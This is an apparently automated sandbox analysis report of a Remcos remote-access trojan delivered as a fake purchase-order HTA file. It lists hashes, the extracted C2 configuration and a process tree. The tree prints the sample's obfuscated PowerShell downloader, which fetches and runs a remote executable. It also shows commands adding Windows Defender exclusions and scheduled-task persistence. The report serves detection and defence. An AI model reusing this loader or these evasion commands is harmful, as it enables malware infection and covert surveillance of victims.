remcos | e62061d984fda6be6d10edf1131454a5c81ead30c4440a75bd3ba80b1b83b099

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2024, 08:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PO-54752454235.hta
Size

17KB
MD5

ae1d170677ac0a614ed5d88b943c7635
SHA1

eb541a3baddf3305edd84241aba904071721d313
SHA256

e62061d984fda6be6d10edf1131454a5c81ead30c4440a75bd3ba80b1b83b099
SHA512

5e9493295c6e38d149d6c93f236ebc6963969184df3b8fda2b506532d2d635c2fddf996e08e892ee9b2058d2f329dab45c49292c37f15142ac61bac7a5785ab2
SSDEEP

192:F5sOwRdhB9NyK9KFTtJOyJ4YyuQSzTyW1gWHgNWvWk+gyVMOQE8JHumvNgczc:8O2hlatJOyJ4YyGgCGgyVEtzvNgczc

Score

10^/10

remcos remotehost discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

66.63.162.79:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-1CY96M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	1540	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3596	powershell.exe
4704	powershell.exe
3816	powershell.exe
2984	powershell.exe
1540	powershell.exe
1540	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	xKtzvdEoDAjLmvN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	xKtzvdEoDAjLmvN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	remcos.exe

Executes dropped EXE 5 IoCs

pid	Process
3592	xKtzvdEoDAjLmvN.exe
3620	xKtzvdEoDAjLmvN.exe
2572	xKtzvdEoDAjLmvN.exe
556	remcos.exe
1756	remcos.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	xKtzvdEoDAjLmvN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1CY96M = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	xKtzvdEoDAjLmvN.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 3592 set thread context of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 556 set thread context of 1756	556	remcos.exe	118
PID 1756 set thread context of 4520	1756	remcos.exe	119
PID 1756 set thread context of 4948	1756	remcos.exe	146
PID 1756 set thread context of 6044	1756	remcos.exe	156
PID 1756 set thread context of 5996	1756	remcos.exe	166
PID 1756 set thread context of 5944	1756	remcos.exe	183
PID 1756 set thread context of 4340	1756	remcos.exe	192
PID 1756 set thread context of 1816	1756	remcos.exe	204

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xKtzvdEoDAjLmvN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xKtzvdEoDAjLmvN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	xKtzvdEoDAjLmvN.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1368	schtasks.exe
2032	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe
3592	xKtzvdEoDAjLmvN.exe
3596	powershell.exe
4704	powershell.exe
3596	powershell.exe
3592	xKtzvdEoDAjLmvN.exe
3592	xKtzvdEoDAjLmvN.exe
3592	xKtzvdEoDAjLmvN.exe
4704	powershell.exe
556	remcos.exe
3816	powershell.exe
2984	powershell.exe
2984	powershell.exe
556	remcos.exe
556	remcos.exe
3816	powershell.exe
2984	powershell.exe
4680	msedge.exe
4680	msedge.exe
1648	msedge.exe
1648	msedge.exe
3916	identity_helper.exe
3916	identity_helper.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1756	remcos.exe
1756	remcos.exe
1756	remcos.exe
1756	remcos.exe
1756	remcos.exe
1756	remcos.exe
1756	remcos.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 29 IoCs

pid	Process
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	3592	xKtzvdEoDAjLmvN.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	556	remcos.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe
1648	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 1540	3920	mshta.exe	84
PID 3920 wrote to memory of 1540	3920	mshta.exe	84
PID 3920 wrote to memory of 1540	3920	mshta.exe	84
PID 1540 wrote to memory of 3592	1540	powershell.exe	94
PID 1540 wrote to memory of 3592	1540	powershell.exe	94
PID 1540 wrote to memory of 3592	1540	powershell.exe	94
PID 3592 wrote to memory of 3596	3592	xKtzvdEoDAjLmvN.exe	101
PID 3592 wrote to memory of 3596	3592	xKtzvdEoDAjLmvN.exe	101
PID 3592 wrote to memory of 3596	3592	xKtzvdEoDAjLmvN.exe	101
PID 3592 wrote to memory of 4704	3592	xKtzvdEoDAjLmvN.exe	103
PID 3592 wrote to memory of 4704	3592	xKtzvdEoDAjLmvN.exe	103
PID 3592 wrote to memory of 4704	3592	xKtzvdEoDAjLmvN.exe	103
PID 3592 wrote to memory of 1368	3592	xKtzvdEoDAjLmvN.exe	105
PID 3592 wrote to memory of 1368	3592	xKtzvdEoDAjLmvN.exe	105
PID 3592 wrote to memory of 1368	3592	xKtzvdEoDAjLmvN.exe	105
PID 3592 wrote to memory of 3620	3592	xKtzvdEoDAjLmvN.exe	107
PID 3592 wrote to memory of 3620	3592	xKtzvdEoDAjLmvN.exe	107
PID 3592 wrote to memory of 3620	3592	xKtzvdEoDAjLmvN.exe	107
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 3592 wrote to memory of 2572	3592	xKtzvdEoDAjLmvN.exe	108
PID 2572 wrote to memory of 556	2572	xKtzvdEoDAjLmvN.exe	109
PID 2572 wrote to memory of 556	2572	xKtzvdEoDAjLmvN.exe	109
PID 2572 wrote to memory of 556	2572	xKtzvdEoDAjLmvN.exe	109
PID 556 wrote to memory of 3816	556	remcos.exe	112
PID 556 wrote to memory of 3816	556	remcos.exe	112
PID 556 wrote to memory of 3816	556	remcos.exe	112
PID 556 wrote to memory of 2984	556	remcos.exe	114
PID 556 wrote to memory of 2984	556	remcos.exe	114
PID 556 wrote to memory of 2984	556	remcos.exe	114
PID 556 wrote to memory of 2032	556	remcos.exe	115
PID 556 wrote to memory of 2032	556	remcos.exe	115
PID 556 wrote to memory of 2032	556	remcos.exe	115
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 556 wrote to memory of 1756	556	remcos.exe	118
PID 1756 wrote to memory of 4520	1756	remcos.exe	119
PID 1756 wrote to memory of 4520	1756	remcos.exe	119
PID 1756 wrote to memory of 4520	1756	remcos.exe	119
PID 1756 wrote to memory of 4520	1756	remcos.exe	119
PID 4520 wrote to memory of 1648	4520	svchost.exe	122
PID 4520 wrote to memory of 1648	4520	svchost.exe	122
PID 1648 wrote to memory of 1432	1648	msedge.exe	123
PID 1648 wrote to memory of 1432	1648	msedge.exe	123
PID 1648 wrote to memory of 1604	1648	msedge.exe	124
PID 1648 wrote to memory of 1604	1648	msedge.exe	124

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\PO-54752454235.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KMIhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (KMIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18410,18418,18415,18407,18410,18410,18407,18410,18414,18410,18408,18466,18461,18467,18458,18408,18481,18436,18477,18483,18479,18461,18430,18472,18429,18426,18467,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + 'xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnSvy;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe
    "C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\uXVGwksuXiVBy.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uXVGwksuXiVBy" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE58D.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1368
  - - C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe
      "C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe"
      4⤵
      Executes dropped EXE
      PID:3620
  - - C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe
      "C:\Users\Admin\AppData\Roaming\xKtzvdEoDAjLmvN.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:2572
    - - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:556
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\Remcos\remcos.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\uXVGwksuXiVBy.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2984
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uXVGwksuXiVBy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1D66.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2032
      - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1648
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:1432
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:2
        9⤵
        
        PID:1604
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2564 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2996 /prefetch:8
        9⤵
        
        PID:3868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
        9⤵
        
        PID:3264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        9⤵
        
        PID:1860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4956 /prefetch:1
        9⤵
        
        PID:2276
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5368 /prefetch:8
        9⤵
        
        PID:668
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5368 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3916
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
        9⤵
        
        PID:2752
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
        9⤵
        
        PID:556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:1
        9⤵
        
        PID:1468
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
        9⤵
        
        PID:4980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
        9⤵
        
        PID:2024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6100 /prefetch:1
        9⤵
        
        PID:2768
        
